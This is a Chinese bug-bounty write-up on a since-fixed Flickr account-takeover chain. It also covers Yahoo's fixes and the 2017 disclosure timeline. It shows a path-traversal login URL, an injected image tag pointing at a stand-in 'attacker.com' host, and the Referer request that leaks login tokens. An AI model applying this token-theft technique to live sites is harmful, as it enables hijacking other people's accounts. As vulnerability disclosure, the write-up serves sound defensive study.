价值7k美刀的Flickr网站漏洞是怎么样的?

简介: 本文讲的是价值7k美刀的Flickr网站漏洞是怎么样的?,Flickr是雅虎旗下图片分享网站,Reizelman发现该网站存在三个漏洞,三个漏洞相互配合使用,可以接管他人Flickr帐户。
本文讲的是 价值7k美刀的Flickr网站漏洞是怎么样的?Flickr是雅虎旗下图片分享网站,Reizelman发现该网站存在三个漏洞,三个漏洞相互配合使用,可以接管他人Flickr帐户。

Flickr.com登录流程概述    

Reizelman发现每次用户登录Flickr.com网站时,都会被重定向到login.yahoo.com域用于身份验证。    

https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=H6T9XcS72e4mRnW3NpTAiU8ZkA–&.intl=il&.lang=en&mg=1&.done=https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=JvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done =https://www.flickr.com/signin/yahoo/?redir=https://www.flickr.com/null  

以上网址是Yahoo帐户登录页面,用户被提示输入他的账户密码。输入账户密码并单击登录后,如果账户密码有效,则将其重定向到以下Flickr url:

  https://www.flickr.com/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com%2F&.data={first-token-value}&.ys={second-token-value }

Reizelman通过观察,如果用户已经登录到Yahoo,再点击登录链接:

https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=H6T9XcS72e4mRnW3NpTAiU8ZkA–&.intl=il&.lang=en&mg=1&.done=https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=JvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done =https://www.flickr.com/signin/yahoo/?redir=https://www.flickr.com/ 

验证的流程发生在后台,用户不需要在Yahoo域输入他的账户密码,即可完成flickr网站登录认证。 

这种的验证方式可能引发其他用户的账户被黑客接管,因为用户只需点击单个链接(如在某些OAuth实现中)来进行身份验证,这样他就可以进行身份验证。熟悉了登录的流程,进行寻找是否有会被他人账户被黑客接管的风险。 

通过以上的url我发现,我可以控制.done这个参数,该参数控制了登录token的发送位置,看起来雅虎只验证https://www.flickr.com/signin/yahoo/这种开头的域,但是我们仍然可以附加../所以如果我们将../../test附加到.done参数 .ys及.data的Token将被发送到https://www.flickr.com/test页面。 

这给了我一个引导,假如我在ww.flickr.com找到一个重定向,我就可以把Token发送到我控制的服务器,但是无法在www.flickr.com主域找到一个重定向漏洞,所以我寻找其他的办法。

经过一番查找,我找到了这个页面:https://www.flickr.com/html.gne?tighten=0&type=comment,可以在Flickr评论页面中插入图片。我觉得也许可以在评论插入一个外链图片,Toeken将通过referer字段发送到我控制的机器上,我发表了一个评论插入了图片。

      /img src=“https://attacker.com/someimage.jpg”/

该图像确实插入在评论中了,但是src值成如下连接:

https://ec.yimg.com/ec?url=https://attacker.com/someimage.jpg&t=1491136241&sig=FGQiNHDOtEj7LQDBbYBnwA-~C

这实际是雅虎的代理,把用户上传图片,自己保存,通过代理的方式来加载显示,不去请求外部的服务器。但是,如果我使用一些技巧,我可以操纵Flickr图像处理逻辑。发布了以下评论:

  /img src=“//www.attacker.com/someimage.jpg”/

该注释未被代理操作,并且src保持原样,按理说图片会显示在评论中,但是,有遇到一个问题了,网站使用了Content-Security-Policy(CSP),img-src属性定义了,只能从以下的网站加载图片。因为我们插入图片的网址不是白名单内的,是无法加载的。

Content-Security-Policy:img-src data: blob: 
https://*.flickr.com 
https://*.flickr.net 
http://*.flickr.net 
https://*.staticflickr.com 
http://*.staticflickr.com 
https://*.yimg.com 
https://*.yahoo.com 
https://*.cedexis.com 
https://*.cedexis-test.com 
https://*.cedexis-radar.net 
https://sb.scorecardresearch.com 
https://image.maps.api.here.com 
https://csync.yahooapis.com 
https://*.paypal.com 
https://*.pinterest.com 
http://*.static-alpha.flickr.com 
https://geo-um.btrll.com 
https://connect.facebook.net 
https://*.facebook.com 
https://bs.serving-sys.com 
https://*.adserver.yahoo.com 
https://*.maps.api.here.com 
https://*.maps.cit.api.here.com 
https://*.ads.yahoo.com 
https://secure.footprint.net

知道这一点后,我尝试在其他页面寻找可评论的地方,过了一段时间,找到了一个论坛页面,www.flickr.com/help/forum/en-us/。这个页面支持HTML代码插入功能的评论,更爽的是https://www.flickr.com/help/forum/*这个网站都没用使用CSP。

所以我在论坛发布了以下评论:
 / img src =“ /  / www.attacker.com/someimage.jpg”/

一个外部的图片被插入到这里:

https://www.flickr.com/help/forum/en-us/72157668446997150/page14/

所以我现在要做的就是构造最终的url,如下:

https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=cLI6NPLejY6&.scrumb2=GszxN7PzUWX&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done=https://www.flickr.com/signin/yahoo/../ ../help/forum/en-us/72157668446997150/page14/

当用户点击链接时他被重定向到https://www.flickr.com/help/forum/en-us/72157668446997150/page14?data={some-token}&.ys={second -token},在这个请求中,他向浏览器发出来了如下的请求。

GET https://www.attacker.com/someimage.jpg HTTP/1.1
  Host: www.attacker.com
  Connection: keep-alive
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87    Safari/537.36
  Accept: image/webp,image/*,*/*;q=0.8
  Referer: https://www.flickr.com/help/forum/en-us/72157668446997150/page14/?.data={some-token}&.ys={second-token} 
  Accept-Encoding: gzip, deflate, sdch, br
  Accept-Language: he-IL,he;q=0.8,en-US;q=0.6,en;q=0.4,es;q=0.

可以看到Referer字段的含有.data={some-token}&.ys={second-token},将要发送到指定的网址,而这个网站是我们控制的,可以拿到Rerferer信息。

攻击者通过referer拿到token之后,构造攻击url,如下

https://www.flickr.com/signin/yahoo/?.data={copied from refferer}&。ys = {replied referer

即可登录到受害者的账户。

修复

雅虎通过以下的办法来解决这个漏洞。

1. login.yahoo.com端点上的.done参数仅允许https://www.flickr.com/signin/yahoo/作为有效值。

2.使用“/  / ”的插入的图片也是固定的。

3.现在CSP应用于Flickr论坛。

修复时间线

2017年4月2日 –  通过Hackerone的初步报告

2017年4月3日 –  报告举报

2017年4月10日 – 报告已解决

2017年4月21日 – 7K $奖赏奖励




原文发布时间为:2017年5月4日
本文作者:愣娃
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
2月前
|
安全 PHP
零基础学习挖掘PHP网站漏洞
本套课程,分为三个阶段:第一阶段:基础篇 学习PHP开发的基础知识,对PHP常见的漏洞进行分析,第二阶段:进阶篇 实战PHP漏洞靶场,了解市面上的PHP主流网站开发技术,并对市面上的主流框架进行漏洞分析,第三阶段:高级篇 实战演示PHP代码审计技术,并能手动开发PHP框架,了解大型网站的核心技术!
23 2
|
12月前
|
存储 安全 JavaScript
实战漏洞挖掘-csrf+存储selfxss漏洞组合拳
前一阵子在疯狂学习,看了很多文章,也学习到了不少,所以也尝试着去挖一挖洞,把学习到的思路引入到实际中。在挖某网站的时候,发现了一枚CSRF+存储型selfxss的漏洞组合拳成功打到cookie。
121 0
|
SQL 安全 前端开发
渗透测试公司实战注入攻击拿下客户网站
近来,利用sql注入、xss和文件上传漏洞,成功getshell的一个客户网站(必须要拿到客户授权渗透测试许可证明才可以,不得违法入侵),这里简单记录一下整个过程,与大家分享。收集信息,查找漏洞。第一步就是进行信息收集,经过一轮的收集,发现这个网站租的是香港的服务器,没有waf文件;从网站的界面看,这个网站是用cms搭建的,搭建的环境是Iis10.0+php,同时通过目录扫描工具发现了一些网站的目录,但没有找到后台登录地址(这肯定是网站管理员隐藏了后台的地址)。
228 0
渗透测试公司实战注入攻击拿下客户网站
|
监控 安全 网络协议
网站被黑客攻击的两大因素分析处理
2020年3月中旬,我们SINE安全收到客户的安全求助,说是网站被攻击打不开了,随即对其进行了分析了导致网站被攻击的通常情况下因素分外部攻击和内部攻击两类,外部网站被攻击的因素,网站外部攻击通常情况下都是DDoS流量攻击。
1000 0
网站被黑客攻击的两大因素分析处理
|
安全 Linux 测试技术
在对客户网站渗透测试之前 应该注意的5大方面
首先是渗透接口测试:在安全工程师角度看这就是1个十分好的知识要点积累的方式,不仅有利于你现在每次的网站渗透测试中不遗漏掉某一点,而且还能够在队伍里面开展分享有利于提高队伍里面队员的技术。我们SINE安全在针对甲方的网站渗透测试来说,在刚开始情况下和客户沟通许多有关事项是十分用得着的:第2个是常用工具:磨刀不误砍柴工,工欲善其事,有个好的常用工具影响大家在网站渗透测试时的工作效率。1个好的常用工具应当包含,不同服务器系统(windows2008,windows2012,linux centos);各式各样条件与基本软件(PHP、python、Rose、vus、数据库服务器服务端、SSH链接服务端
326 0
在对客户网站渗透测试之前 应该注意的5大方面
|
SQL 安全 Oracle
如何针对性系统学习Web安全成为一名黑客儿?(建议收藏 ❤️)
如何针对性系统学习Web安全成为一名黑客儿?(建议收藏 ❤️)
214 0
如何针对性系统学习Web安全成为一名黑客儿?(建议收藏 ❤️)
|
SQL 安全 JavaScript
网站渗透测试过程中对客户网站的信息搜集
网站渗透测试过程中对客户网站的信息搜集
网站渗透测试过程中对客户网站的信息搜集